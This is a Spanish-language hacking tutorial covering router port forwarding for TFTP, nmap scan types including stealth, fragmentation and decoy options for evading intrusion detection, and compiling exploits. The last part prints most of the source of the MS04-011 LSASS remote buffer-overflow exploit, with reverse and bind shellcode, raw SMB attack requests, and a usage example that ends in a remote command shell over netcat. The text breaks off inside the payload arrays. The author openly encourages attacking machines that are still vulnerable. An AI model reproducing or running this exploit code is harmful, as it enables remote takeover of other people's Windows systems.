Quick Setup y Advanced Setup. Asi de que legimos la segunda opcion de esa forma se nos abrira una ventana de este tipo:



Ahora lo que tenemos que hacer es desplazarnos hasta la opcion del menú izquierdo que dice "NAT" y en el submenu la opcion que dice "Virtual Server", lo que haremos aquí sera sencillo solo tenemos que decirle al router el puerto que le vamos a pedir prestado y a continuación especificarle la IP privada que tenemos en nuestro equipo.

En este caso recuerden que nuestro servidor TFTP require del puerto 69 UDP asi de que ese sera el que colocaremos en el primer cuadro seguido de nuestra IP, por lo tanto quedaria asi:



Recuerden dar clic en la ultima casilla para habilitarlo, después de eso solamente damos un clic en el boton de aplicar situado mas abajo y listo.

Ahora solo nos hace falta una cosa mas, la cual es saber la direccion IP Publica que tiene el router de nosotros asi de que para ello solo basta con que entremos a cualquier pagina web que nos pudiera dar dicha información, por ejemplo:

www.whatismyip.com

Dependiendo de la IP que nos muestre ahora solo seria cuestion de utilizar esa IP para realizar nuestra conexión por TFTP para subir y bajar archivos.



SPEEDSTREAM 5200

Este es otro router muy utilizado en Mexico por las compañias de banda ancha asi de que procedo a configurarlo.

En este caso la puerta de enlace que tengo no es 192.168.1.1 sino 192.168.254.254:



Ahora procedemos a poner la ip de nuestro router en el navegador y a continuación se nos abrira una ventana del siguiente tipo:



Ahora nos desplazamos al menú Setup – Port Forwarding y en la parte superior nos mostrara los puertos que ya han sido configurados.

Para agregar un nuevo puerto primero tenemos que seleccionar el protocolo (recuerden que el puerto que necesitamos es el 69 UDP asi de que la configuración quedaria de la siguiente forma, en mi caso la IP privada que tengo es la que termina con 33)



Ahora es solo cuestion de dar un clic en Apply y averiguar la ip publica que tenemos en este momento, en la primer ventana me la mostraba solo que yo borre los ultimos digitos o tambien pueden entrar a www.whatismyip.com para saber su IP publica.




2WIRE

Ahora voy a configurar un 2wire, cabe decir que la configuración en este modem/router es un poco mas diferente que en los demas router y a continuación lo veran :P.

Para empezar primero se debera de averiguar la ip del router para entrar posteriormente con nuestro navegador(aquí no vamos a usar el disco que generalmente nos dan los de Prodigy), primero inicio – ejecutar – y tecleamos "cmd.exe" después damos enter, en la consola que se abrio tecleamos "ipconfig" y nos debera de mostrar nuestra ip asi como tambien la puerta de enlace predeterminada, que en este caso es la de nuestro router, si tenemos poco tiempo de haber contratado el servicio (a fecha de hoy 20 de abril del 2006) la ip del router sera 192.168.1.254 y si ya tienen bastante tiempo con el, lo mas seguro es que su ip sea 172.16.0.1.

Ahora que ya sabemos la ip del router la pondremos en nuestro navegador y nos debera de mostrar la siguiente pagina:



En la parte superior se pueden observar 4 opciones diferentes, a lo cual daremos clic en la que dice Cortafuegos, después en la parte que esta un poco mas abajo seleccionamos la segunda opcion que dice "configuración del cortafuegos", ya una vez alli nos debera de aparecer la siguiente pantalla:



En esta parte es donde se agregan las aplicaciones que queremos permitir a cada computadora, como pueden ver primero tenemos que seleccionar el nombre del equipo al cual le queremos dar permisos y enseguida tenemos que elegir las aplicaciones que queremos agregarle, pero, ¿Qué pasa si ninguna de esas aplicaciones es la que nosotros necesitamos? En este caso queremos tener servicio de TFTP, asi de que lo que haremos sera crear esa aplicación para después poderla agregar a nuestro equipo, ¿Cómo lo hacemos?, primero que nada tenemos que dar un clic en la opcion que dice "Agregar una nueva aplicación definida por el usuario" ubicada en esta misma pantalla:



Una vez demos clic alli nos aparecera la siguiente pantalla:




Ahora solo tenemos que llenar con las especificaciones que deseemos:
1.- Nombre de aplicación: aquí colocaremos un nombre para distinguirla de las que ya tiene definidas, en mi caso le he puesto TFTP.
2.- Protocolo: Aquí especificamos el tipo de puerto a utilizar en nuestro mapeo de puertos, como en este caso usaremos el puerto 69 UDP, es logico que seleccionemos UDP.
3.- Puerto de intervalo: aquí podemos especificar los puertos a utilizar en el router, en este caso solo necesitamos el 69 asi de que solo tendremos que poner de 69 a 69.
4.- Tiempo de espera del protocolo: aquí no hay tanto lio, ya solo nos bastara con poner el valor preterminado que alli mismo nos dice (86400 para TCP y 600 para UDP), en este caso colocamos 69.
5.- Asignar el puerto del host: Aquí es donde pondremos el puerto al cual queremos que sea redireccionada la petición hecha al router en el puerto que especificamos (aquí nos basta con poner el mismo puerto que usamos mas arriba, 69).
6.- tipo de aplicación: aquí nos pregunta si es una aplicación que ya se tuviese en nuestro router (logico que si la estamos creando es por que no la tenemos xD asi de que la dejamos como esta).

Una vez lleno con todos los datos solo tenemos que quedar un clic en el boton de agregar definición y se habra guardado nuestra aplicación, OJO! Como podran observar nos devolvio a la misma pantalla solo que ahora en la parte donde dice nombre ya esta colocado el nombre de la que acabamos de crear pero ahora nos da opcion de agregarle mas puertos a nuestra aplicación ¿para que es esto? Recuerden que no todas las aplicaciones utilizan un solo puerto sino que usan varios puertos y ademas de diferente protocolo, por ejemplo el emule usa dos puertos, uno de TCP y otro de UDP asi de que si quisieramos agregarle otro puerto seria ahora cuando lo podriamos hacer, pero como no es el caso solo nos bastara con dar un clic en el boton que dice "atrás".

Una vez mas estaremos en la pantalla de configuración del cortafuegos, pero con la diferencia de que en la parte que nos muestra las aplicaciones, estara una nueva con el nombre que hayamos elegido.




En mi caso mi equipo se llama zhyzura asi de que elijo esa opcion, después en la segunda parte primero seleccionamos donde dice "Permitir aplicaciones individuales" y después seleccionamos la que acabamos de crear seguida de dar un clic en el boton de agregar. Si lo hicieron bien se vera como muestra la imagen que les he mostrado anteriormente, ahora solo falta dar un clic en el boton que dice "realizado" situado en la parte inferior de la pagina.

¿Cómo sabemos que se guardaron todos los cambios? Solo basta con dar un clic donde dice "opciones avanzadas y nos mostrara el siguiente recuadro:



Como podran ver alli muestra el nombre de mi equipo seguido de la aplicación permitida que en este caso es TFTP.

Listo ahora ya tienen perfectamente mapeado el puerto 69 UDP para ser usado por su servidor TFTP o lo que hayan elegido.


zhyzura

ESCANEO DE PUERTOS
[/size]

Este tema es bastante importante en el mundo del hacking, aquel que no lo domine siquiera un poco estara completamente perdido en los temas que a continuación se iran viendo.

No voy a explicar como realizar escaneos a manera de barridos o buscar entre muchas computadoras alguna que posea una vulnerabilidad en especifico, ya hay bastantes usuarios en Internet que nomas se la pasan haciendo barridos para encontrar una vulnerabilidad en especifico y la verdad es que eso no es hacking de verdad, la unica forma en la cual se aprende de verdad es buscando una objetivo y de alli comenzar a reunir toda la información posible de el para asi realizar un ataque exitoso.

Como ya sabemos, cada host tiene por el simple hecho de estar conectado a una red puertos tanto TCP como UDP cabe recordar que un puerto funciona como si fuera una puerta para poder entrar a una casa, el problema es que por lo general nos encontramos con servicios que nos estan obstruyendo la entrada o con berreras que no nos dejan realizar nuestro trabajo como anteriormente solia ser, ahora Internet esta lleno de barreras que nos obstruyen divertirnos un poco, la curiosidad por poder explorar lugares en los que nunca hemos estado o entrar para observar cosas nunca antes vistas se esta terminando hoy en dia, el terreno del hacking esta cayendo y creo que es hora de poner manos a la obra para mostrar que seguimos vivos.

Bueno, creo que ya fue mucho de hablar y hablar asi de que comencemos con este tema que es bastante interesante, pero no lo hare sin anter pedirles que lean un excelente manual escrito por Death_Master que nos muestra la importancia del escaneo de puertos, lo pueden encontrar en el siguiente enlace:

http://foro.elhacker.net/index.php?action=dlattach;topic=37981.0;id=177

Nuestro principal objetivo al momento de realizar un escaneo es averiguar los puertos tanto UDP como TCP que esten abiertos para después proceder a identificar los servicios que estan detrás de cada puerto y ver si son vulnerables a algun bug conocido asi como tambien sabremos el sistema operativo que esta corriendo el host en cuestion.

Uno de los mejores escaners de puertos que existen al dia es nmap, el cual pueden descargar de la siguiente pagina:
www.insecure.org/nmap

Existe una version tanto para GNU/Linux como para Windows asi de que no va a importar el sistema operativo que tengamos para utilizar esta herramienta (cabe decir que me he basado en las opciones que aparecen en GNU/Linux aunque me supongo que en Windows deberan de ser las mismas).

Quizas a muchos no les guste esta herramienta del todo debido a que no es un escaner con un entorno grafico como los demas aunque esa no es una limitante para poder utilizarlo asi de que ya saben, van a tener que utilizar la consola de Windows para poder usarlo.

Basta con teclear nmap –h para observar todas las opciones que tiene.

Su sintaxis es muy simple:
Nmap [tipo de escaneo] [opciones] [ip o nombre de nuestro objetivo #1] [objetivo # 2] ... [objetivo #N]

Cabe decir que nmap no se limita a escanear de una sola forma sino que se puede realizar un escaneo con las opciones que mas nos gusten para hacerlo de una forma eficaz.


TIPOSDE ESCANEO

-sT Escaneo TCP connect: es una manera bastante basica de escaneo ya que lo que hace en realidad es intentar conectarse con todos lo puertos importantes de la victima de forma que si en algun momento se llega a conectar, inmediatamente cierra dicha conexión, la desventaja de este escaneo es que todos los servidores gusrdaran un log de las diversas conexiones hechas por nuestra maquina.

-sS Escaneo tipo TCP SYN o tambien llamado "half open"(medio abierto): lo que hace es enviar un paquete SYN como si se fuera a establecer una conexión a lo cual la computadora victima nos respondera de dos formas, con un paquete SYN | ACK en caso de estar a la escucha o con un paquete RST en caso de estar cerrado.
Cabe decir que si nos responde con un SYN | ACK nuestra computadora le mandara un paquete RST para asi evitar establecer la conexión y de esta forma evitar que varias computadoras guarden un registro de este escaneo.

-sF –sX –sN Escaneo tipo Stealth FIN, Xmas Tree o Null scan: Muchas de las vecesel escaneo anterior no es lo suficientemente efectivo debido a que varios firewall logran detectar el escaneo asi de que necesitaremos una forma un poco mas sofisticada para hacerlo, digamos que estos tres tipos de escaneo lograr cruzar las barreras de los firewall (al menos de la inmensa mayoria xD).
El escaneo FIN utiliza un paquete FIN "vacio", el escaneo Xmas tree activa las flags FIN, URG y PUSH, el escaneo Null al contrario del Xmas tree desactiva todas las flags.

-sP Escaneo ping: este tipo de escaneo es muy utilizado para cuando solo queremos saber que host estan activos y lo hace enviando una petición de respuesta tipo ICMP a cada host de la red especificada, es muy utilizado para realizar tambien los llamados barridos ping.

-sU Escaneo UDP: Este tipo de escaneo nos funcionara si queremos saber cuales puertos UDP se encuentran abiertos en una computadora, esto lo hace enviando un paquete UCP de 0 bytes de modo que si nos responde como un puerto inalcanzable sabremos que esta cerrado y en caso contrario se asume que esta abierto, recuerden que los puertos UDP tambien pueden ser importantes debido a que existen diversos servicios corriendo en ellos como puede ser TFTP, SNMP, NFS, etc.
Cabe decir que este tipo de escaneo es bastante lento la mayoria de las veces debido a que los sistemas Linux tienen una limitacion de mensajes de error, generando paquetes de destino inalcanzable en una cantidad de 80 cada 4 segundos. En el caso de un Solaris serian mas o menos 2 mensajes por segundo (esto si que es lento). Pero en el caso de un Windows no existe dicha limitante ya que como muchos sabran a microsoft no le gusta seguir los estandares (en este caso serian los de RFC 1812 sección 4.3.2.8) y se crea los suyos que muchas de las veces nos ayuda bastante :).

MAS OPCIONES

-P0 Con esta opcion al momento de realizar un escaneo, evita hacer un ping antes de escanearlo, lo cual nos ayuda bastante en caso de que el host a escanear tenga filtrados los paquetes ICMP.

-PT En esta opcion se utilizan ping de tipo TCP en lugar de los ICMP utilizados comúnmente, asi pues en lugar de mandar una petición de eco (ICMP) y esperar una respuesta, lanza paquetes TCP ACK con lo cual los host nos responderan con un RST.

-PS Esta opcion sustituye los paquetes ACK por paquetes SYN.

-PI En esta opcion se usan paquetes ping verdaderos y nos ayuda a encontrar direcciones de broadcast dirigidas a subredes en una red.

-PB Este es un ping por defecto utilizando barridos ACK e ICMP (opciones –PT y –PI) de modo que habra firewall que filtren una forma pero no ambas.

-O esta opcion nos ayuda a determinar el sistema operativo del host a escanear.

-f esta opcion nos sirve para complementar los escaneos tipo Xmas, Null, FIN o SYN de modo que fragmenta las cabeceras ip en trozos mas pequeños asi pues les hacemos la vida mas difícil a los detectores de intrusos y demas firewalls.

-v esta opcion les sera util si lo que quieren es mantenerse mas al tanto de lo que ocurre durante el escaneo y ya si quieren volverse locos con mas letras en pantalla usen varias veces la opcion –d.

-h vean esta opcion si lo que quieren es saber las diversas opciones que tiene esta gran herramienta.

-o <nombre_archivo> Esta opcion nos funcionara si lo que queremos es guardar un tipo informe comprensible de nuestro escaneo.

-p <rango_puertos> de esta forma se especifican los puertos a escanear, por ejemplo "-p 80" solo escanea el Puerto 80", mientras que "-p 80,10-19,139-" realizara un escaneo del Puerto 80 asi como tambien de los puertos 10 al 19 y 139 en delante.

-D <senuelo1, senuelo2, senuelo3...> Con esta opcion lo que hacemos es que el host escaneado "piense" que la red de destino del escaneo esta siendo escaneada tambien por los host utilizados como senulos. Cabe decir que los host que utilicemos como senuelos lo mejor sera que esten activos es ese momento ya que en caso contrario podriamos probocar un flood al host escaneado, asi como tambien si todos los senuelos esta inactivos, de nada servira haber usado esta opcion...

Cabe decir que para especificar la ip de destino tambien lo podemos hacer con una notacion que nos permita escanear varias ips o en su defecto un rango completo, ejemplo:
192.168.1.1-34
Nos escaneara todas las ips que van desde 192.168.1.1 hasta la direccion 192.168.1.34.
O tambien podemos poner 192.168.1.*
De este modo se escanearan todas las ips que esten dentro del rango 192.168.1.xx.

Estan son solo unas de las diversas opciones de nmap que les seran bastante utiles al momento de realizar un escaneo de puertos y el hecho de poderlas usar todas en conjunto lo hacen una herramienta eficaz por excelencia.

zhyzura

COMPILANDO Y UTILIZANDO EXPLOITS

INTRODUCCION

Si bien esto es un dilema para muchas personas la verdad no es tan difícil de hacer, lo unico que necesitan es agarrarse cualquier manual de C y ponerse a leer un poco en sus ratos libres.

Pero no se preocupen en este caso no se necesitara hacer eso, yo les ayudare un poco a crearse su primer programa en C y ya de paso veremos como se compilan los exploits.

En este caso vamos a utilizar un compilador llamado Dev-C++ utilizare este debido a que es muy facil de utilizar asi como tambien que no se tendra que pagar por utilizarlo, lo pueden descargar de la siguiente web:

http://www.bloodshed.net/


Ahora que ya lo tenemos instalado, lo ejecutamos y nos abrira una ventana de este tipo:



Lo que haremos sera irnos al menú archivo – nuevo – proyecto.
En la ventana que nos abrira seleccionamos "Console application", le ponemos un nombre y en el lenguaje seleccionamos C, Como se muestra en la siguiente imagen:



Una vez que le hayamos dado aceptar solo tendremos que seleccionar donde guardar nuestro proyecto y listo.
Una vez hecho esto nos devolvera a la ventana en que iniciamos pero esta vez nos mostrara en el cuadro principal del programa el codigo fuente que nos sirve de guia para lo que vayamos a hacer, en nuestro caso lo podemos borrar todo y en su lugar colocaremos el siguiente codigo(no vayan a colocar mayusculas, por que los compiladores distinguen las letras mayusculas de las minusculas):

#include <stdio.h>

int main()
{
printf("hola mundo C");
getch();
return 0;
}


Una vez el codigo en su lugar nos dirigimos al menú ejecutar – Compilar y ejecutar, o presionamos la tecla F9, a continuación nos preguntara donde queremos guardar nuestro codigo fuente y si todo esta bien escrito nos debera de abrir una ventana con una leyenda que dice "hola mundo C" (sin las comillas por supuesto) si les marco algun error revisen su programa con cuidado, cualquier punto y coma o que las palabras esten bien escritas.

Ahora que ya lo ejecutaron solo me sobre decir "Enhorabuena!!! Acaban de crear y ejecutar su primer programa con éxito, ahora ya son capaces de compilarse y crearse sus propios exploits...(es broma :P)"
Quizas este programa no sea la gran cosa pero hasta los mejores programadores comenzaron con un programa de este tipo asi de que no se sientan mal ni se me vayan a deprimir, muy bien ahora paso a explicar a grandes rasgos el significado de cada linea de codigo que pusimos en nuestro programa:

#include <stdio.h>
Esta linea le dice al compilador que agregue a nuestro proyecto la libreria llamada "stdio".

int main()
esta linea es la que indica el comienzo de nuestro programa principal.

{
Esta llave al igual que la que se encuentra al final lo unico que hacen es indicar que todo lo que se encuentre dentro de ellas pertenece a nuestro programa principal.

printf("hola mundo C");
esta linea lo unico que hace es llamar a la funcion "printf" que se encuentra dentro de la librería stdio, la cual nos sirve para imprimir en pantalla la leyenda que dice: "hola mundo C".
dicho en otras palabras, en esta linea utilizamos un comando llamado printf que nos sirve para imprimir en pantalla enunciados pero hay que tener en cuenta que la sintaxis siempre es asi:
printf("")
y nosotros deberemos de colocar el texto que queramos imprimir dentro de las comillas, el punto y coma que se encuentran al final solamente nos indican el final de la linea de codigo.

Los que ya hayan visto un poco mas de C sabran que tambien se pueden eliminar las comillas y agregar en su lugar variables pero prefiero no hablar del tema por que si no, nunca vamos a terminar con esto.

getch();
Esta linea lo unico que hace es detener nuestro programa hasta que presionemos la tecla enter, la finalidad que tiene aquí es que detenga el programa para que nosotros podamos observar lo que se imprimio en pantalla con la linea de codigo anterior. Si gustan pueden eliminar completamnte esta linea del programa lo vuelven a compilar y ejecutar y veran a lo que me refiero.

return 0;
Esta linea lo unico que hace es devolver un 0 a la funcion de nuestro programa principal para decirle que todo se ha ejecutado a la perfeccion, diriamos que por estandar se devuelve un 0 si todo se ejecuto correctamente y cualquier otro valor si ocurrio algun problema.

Esta linea se podria eliminar y nuestro programa se seguiria ejecutando pero el compilador nos va a marcar una alerta o "warning".

Ahora si espero que si vemos el codigo fuente que les puse ya podamos darnos una idea de lo que hace cada linea, de igual forma les recomiendo se compren un buen libro de C o busquen algunos tutoriales si quieren aprender un poco mas sobre el tema.

Quizas con esto algunos digan que ya saben mas o menos como hacerle para compilarse los codigos fuentes de los exploits que andan por alli, pero bueno en este caso vamos a compilar un exploit muy utilizado por Internet, quizas sea algo viejo pero como todos saben siempre te encuentras con personas que nisiquiera saben como se llama el sistema operativo que utilizan ahora imaginense los equipos que aun son vulnerables a fecha de hoy...




Nota: No te vayas a enojar conmigo Sirdarkcat por decirles paso por paso como compilar los exploits pero prefiero mil veces explicar como hacerlo por ellos mismos que pasarles el exploit ya compilado xD.


Compilando y ejecutando el exploit ms04011-lsasrv

Primero que nada tendremos que conseguir el codigo fuente de dicho exploit aunque en este caso lo pondre yo para que ya no tengan que perder tiempo en ello (solo por esta ocasión lo hare, para la proxima les tocara buscarlo):


/* HOD-ms04011-lsasrv-expl.c:
*
* MS04011 Lsasrv.dll RPC buffer overflow remote exploit
* Version 0.1 coded by
*
*
* .::[ houseofdabus ]::.
*
*
* -------------------------------------------------------------------
* Usage:
*
* expl <target> <victim IP> <bindport> [connectback IP] [options]
*
* Targets:
* 0 [0x01004600]: WinXP Professional [universal] lsass.exe
* 1 [0x7515123c]: Win2k Professional [universal] netrap.dll
* 2 [0x751c123c]: Win2k Advanced Server [SP4] netrap.dll
*
* Options:
* -t: Detect remote OS:
* Windows 5.1 - WinXP
* Windows 5.0 - Win2k
* -------------------------------------------------------------------
*
* Tested on
* - Windows XP Professional SP0 English version
* - Windows XP Professional SP0 Russian version
* - Windows XP Professional SP1 English version
* - Windows XP Professional SP1 Russian version
* - Windows 2000 Professional SP2 English version
* - Windows 2000 Professional SP2 Russian version
* - Windows 2000 Professional SP4 English version
* - Windows 2000 Professional SP4 Russian version
* - Windows 2000 Advanced Server SP4 English version
* - Windows 2000 Advanced Server SP4 Russian version
*
*
* Example:
*
* C:\HOD-ms04011-lsasrv-expl 0 192.168.1.10 4444 -t
*
* MS04011 Lsasrv.dll RPC buffer overflow remote exploit v0.1
* --- Coded by .::[ houseofdabus ]::. ---
*
* [*] Target: IP: 192.168.1.10: OS: WinXP Professional [universal] lsass.exe
* [*] Connecting to 192.168.1.10:445 ... OK
* [*] Detecting remote OS: Windows 5.0
*
*
* C:\HOD-ms04011-lsasrv-expl 1 192.168.1.10 4444
*
* MS04011 Lsasrv.dll RPC buffer overflow remote exploit v0.1
* --- Coded by .::[ houseofdabus ]::. ---
*
* [*] Target: IP: 192.168.1.10: OS: Win2k Professional [universal] netrap.dll
* [*] Connecting to 192.168.1.10:445 ... OK
* [*] Attacking ... OK
*
* C:\nc 192.168.1.10 4444
* Microsoft Windows 2000 [Version 5.00.2195]
* (C) Copyright 1985-2000 Microsoft Corp.
*
* C:\WINNT\system32>
*
*
*
* This is provided as proof-of-concept code only for educational
* purposes and testing by authorized individuals with permission to
* do so.
*/

#include <windows.h>

#pragma comment(lib, "ws2_32")

// reverse shellcode
unsigned char reverseshell[] =
"\xEB\x10\x5B\x4B\x33\xC9\x66\xB9\x25\x01\x80\x34\x0B\x99\xE2\xFA"
"\xEB\x05\xE8\xEB\xFF\xFF\xFF"
"\x70\x62\x99\x99\x99\xC6\xFD\x38\xA9\x99\x99\x99\x12\xD9\x95\x12"
"\xE9\x85\x34\x12\xF1\x91\x12\x6E\xF3\x9D\xC0\x71\x02\x99\x99\x99"
"\x7B\x60\xF1\xAA\xAB\x99\x99\xF1\xEE\xEA\xAB\xC6\xCD\x66\x8F\x12"
"\x71\xF3\x9D\xC0\x71\x1B\x99\x99\x99\x7B\x60\x18\x75\x09\x98\x99"
"\x99\xCD\xF1\x98\x98\x99\x99\x66\xCF\x89\xC9\xC9\xC9\xC9\xD9\xC9"
"\xD9\xC9\x66\xCF\x8D\x12\x41\xF1\xE6\x99\x99\x98\xF1\x9B\x99\x9D"
"\x4B\x12\x55\xF3\x89\xC8\xCA\x66\xCF\x81\x1C\x59\xEC\xD3\xF1\xFA"
"\xF4\xFD\x99\x10\xFF\xA9\x1A\x75\xCD\x14\xA5\xBD\xF3\x8C\xC0\x32"
"\x7B\x64\x5F\xDD\xBD\x89\xDD\x67\xDD\xBD\xA4\x10\xC5\xBD\xD1\x10"
"\xC5\xBD\xD5\x10\xC5\xBD\xC9\x14\xDD\xBD\x89\xCD\xC9\xC8\xC8\xC8"
"\xF3\x98\xC8\xC8\x66\xEF\xA9\xC8\x66\xCF\x9D\x12\x55\xF3\x66\x66"
"\xA8\x66\xCF\x91\xCA\x66\xCF\x85\x66\xCF\x95\xC8\xCF\x12\xDC\xA5"
"\x12\xCD\xB1\xE1\x9A\x4C\xCB\x12\xEB\xB9\x9A\x6C\xAA\x50\xD0\xD8"
"\x34\x9A\x5C\xAA\x42\x96\x27\x89\xA3\x4F\xED\x91\x58\x52\x94\x9A"
"\x43\xD9\x72\x68\xA2\x86\xEC\x7E\xC3\x12\xC3\xBD\x9A\x44\xFF\x12"
"\x95\xD2\x12\xC3\x85\x9A\x44\x12\x9D\x12\x9A\x5C\x32\xC7\xC0\x5A"
"\x71\x99\x66\x66\x66\x17\xD7\x97\x75\xEB\x67\x2A\x8F\x34\x40\x9C"
"\x57\x76\x57\x79\xF9\x52\x74\x65\xA2\x40\x90\x6C\x34\x75\x60\x33"
"\xF9\x7E\xE0\x5F\xE0";

// bind shellcode
unsigned char bindshell[] =
"\xEB\x10\x5A\x4A\x33\xC9\x66\xB9\x7D\x01\x80\x34\x0A\x99\xE2\xFA"
"\xEB\x05\xE8\xEB\xFF\xFF\xFF"
"\x70\x95\x98\x99\x99\xC3\xFD\x38\xA9\x99\x99\x99\x12\xD9\x95\x12"
"\xE9\x85\x34\x12\xD9\x91\x12\x41\x12\xEA\xA5\x12\xED\x87\xE1\x9A"
"\x6A\x12\xE7\xB9\x9A\x62\x12\xD7\x8D\xAA\x74\xCF\xCE\xC8\x12\xA6"
"\x9A\x62\x12\x6B\xF3\x97\xC0\x6A\x3F\xED\x91\xC0\xC6\x1A\x5E\x9D"
"\xDC\x7B\x70\xC0\xC6\xC7\x12\x54\x12\xDF\xBD\x9A\x5A\x48\x78\x9A"
"\x58\xAA\x50\xFF\x12\x91\x12\xDF\x85\x9A\x5A\x58\x78\x9B\x9A\x58"
"\x12\x99\x9A\x5A\x12\x63\x12\x6E\x1A\x5F\x97\x12\x49\xF3\x9A\xC0"
"\x71\x1E\x99\x99\x99\x1A\x5F\x94\xCB\xCF\x66\xCE\x65\xC3\x12\x41"
"\xF3\x9C\xC0\x71\xED\x99\x99\x99\xC9\xC9\xC9\xC9\xF3\x98\xF3\x9B"
"\x66\xCE\x75\x12\x41\x5E\x9E\x9B\x99\x9D\x4B\xAA\x59\x10\xDE\x9D"
"\xF3\x89\xCE\xCA\x66\xCE\x69\xF3\x98\xCA\x66\xCE\x6D\xC9\xC9\xCA"
"\x66\xCE\x61\x12\x49\x1A\x75\xDD\x12\x6D\xAA\x59\xF3\x89\xC0\x10"
"\x9D\x17\x7B\x62\x10\xCF\xA1\x10\xCF\xA5\x10\xCF\xD9\xFF\x5E\xDF"
"\xB5\x98\x98\x14\xDE\x89\xC9\xCF\xAA\x50\xC8\xC8\xC8\xF3\x98\xC8"
"\xC8\x5E\xDE\xA5\xFA\xF4\xFD\x99\x14\xDE\xA5\xC9\xC8\x66\xCE\x79"
"\xCB\x66\xCE\x65\xCA\x66\xCE\x65\xC9\x66\xCE\x7D\xAA\x59\x35\x1C"
"\x59\xEC\x60\xC8\xCB\xCF\xCA\x66\x4B\xC3\xC0\x32\x7B\x77\xAA\x59"
"\x5A\x71\x76\x67\x66\x66\xDE\xFC\xED\xC9\xEB\xF6\xFA\xD8\xFD\xFD"
"\xEB\xFC\xEA\xEA\x99\xDA\xEB\xFC\xF8\xED\xFC\xC9\xEB\xF6\xFA\xFC"
"\xEA\xEA\xD8\x99\xDC\xE1\xF0\xED\xCD\xF1\xEB\xFC\xF8\xFD\x99\xD5"
"\xF6\xF8\xFD\xD5\xF0\xFB\xEB\xF8\xEB\xE0\xD8\x99\xEE\xEA\xAB\xC6"
"\xAA\xAB\x99\xCE\xCA\xD8\xCA\xF6\xFA\xF2\xFC\xED\xD8\x99\xFB\xF0"
"\xF7\xFD\x99\xF5\xF0\xEA\xED\xFC\xF7\x99\xF8\xFA\xFA\xFC\xE9\xED"
"\x99\xFA\xF5\xF6\xEA\xFC\xEA\xF6\xFA\xF2\xFC\xED\x99";



char req1[] =
"\x00\x00\x00\x85\xFF\x53\x4D\x42\x72\x00\x00\x00\x00\x18\x53\xC8"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xFF\xFE"
"\x00\x00\x00\x00\x00\x62\x00\x02\x50\x43\x20\x4E\x45\x54\x57\x4F"
"\x52\x4B\x20\x50\x52\x4F\x47\x52\x41\x4D\x20\x31\x2E\x30\x00\x02"
"\x4C\x41\x4E\x4D\x41\x4E\x31\x2E\x30\x00\x02\x57\x69\x6E\x64\x6F"
"\x77\x73\x20\x66\x6F\x72\x20\x57\x6F\x72\x6B\x67\x72\x6F\x75\x70"
"\x73\x20\x33\x2E\x31\x61\x00\x02\x4C\x4D\x31\x2E\x32\x58\x30\x30"
"\x32\x00\x02\x4C\x41\x4E\x4D\x41\x4E\x32\x2E\x31\x00\x02\x4E\x54"
"\x20\x4C\x4D\x20\x30\x2E\x31\x32\x00";

char req2[] =
"\x00\x00\x00\xA4\xFF\x53\x4D\x42\x73\x00\x00\x00\x00\x18\x07\xC8"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xFF\xFE"
"\x00\x00\x10\x00\x0C\xFF\x00\xA4\x00\x04\x11\x0A\x00\x00\x00\x00"
"\x00\x00\x00\x20\x00\x00\x00\x00\x00\xD4\x00\x00\x80\x69\x00\x4E"
"\x54\x4C\x4D\x53\x53\x50\x00\x01\x00\x00\x00\x97\x82\x08\xE0\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x57\x00\x69\x00\x6E\x00\x64\x00\x6F\x00\x77\x00\x73\x00\x20\x00"
"\x32\x00\x30\x00\x30\x00\x30\x00\x20\x00\x32\x00\x31\x00\x39\x00"
"\x35\x00\x00\x00\x57\x00\x69\x00\x6E\x00\x64\x00\x6F\x00\x77\x00"
"\x73\x00\x20\x00\x32\x00\x30\x00\x30\x00\x30\x00\x20\x00\x35\x00"
"\x2E\x00\x30\x00\x00\x00\x00\x00";


char req3[] =
"\x00\x00\x00\xDA\xFF\x53\x4D\x42\x73\x00\x00\x00\x00\x18\x07\xC8"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xFF\xFE"
"\x00\x08\x20\x00\x0C\xFF\x00\xDA\x00\x04\x11\x0A\x00\x00\x00\x00"
"\x00\x00\x00\x57\x00\x00\x00\x00\x00\xD4\x00\x00\x80\x9F\x00\x4E"
"\x54\x4C\x4D\x53\x53\x50\x00\x03\x00\x00\x00\x01\x00\x01\x00\x46"
"\x00\x00\x00\x00\x00\x00\x00\x47\x00\x00\x00\x00\x00\x00\x00\x40"
"\x00\x00\x00\x00\x00\x00\x00\x40\x00\x00\x00\x06\x00\x06\x00\x40"
"\x00\x00\x00\x10\x00\x10\x00\x47\x00\x00\x00\x15\x8A\x88\xE0\x48"
"\x00\x4F\x00\x44\x00\x00\x81\x19\x6A\x7A\xF2\xE4\x49\x1C\x28\xAF"
"\x30\x25\x74\x10\x67\x53\x57\x00\x69\x00\x6E\x00\x64\x00\x6F\x00"
"\x77\x00\x73\x00\x20\x00\x32\x00\x30\x00\x30\x00\x30\x00\x20\x00"
"\x32\x00\x31\x00\x39\x00\x35\x00\x00\x00\x57\x00\x69\x00\x6E\x00"
"\x64\x00\x6F\x00\x77\x00\x73\x00\x20\x00\x32\x00\x30\x00\x30\x00"
"\x30\x00\x20\x00\x35\x00\x2E\x00\x30\x00\x00\x00\x00\x00";


char req4[] =
"\x00\x00\x00\x5C\xFF\x53\x4D\x42\x75\x00\x00\x00\x00\x18\x07\xC8"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xFF\xFE"
"\x00\x08\x30\x00\x04\xFF\x00\x5C\x00\x08\x00\x01\x00\x31\x00\x00"
"\x5C\x00\x5C\x00\x31\x00\x39\x00\x32\x00\x2E\x00\x31\x00\x36\x00"
"\x38\x00\x2E\x00\x31\x00\x2E\x00\x32\x00\x31\x00\x30\x00\x5C\x00"
"\x49\x00\x50\x00\x43\x00\x24"
"\x00\x00\x00\x3F\x3F\x3F\x3F\x3F\x00";

char req5[] =
"\x00\x00\x00\x64\xFF\x53\x4D\x42\xA2\x00\x00\x00\x00\x18\x07\xC8"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\xDC\x04"
"\x00\x08\x40\x00\x18\xFF\x00\xDE\xDE\x00\x0E\x00\x16\x00\x00\x00"
"\x00\x00\x00\x00\x9F\x01\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00"
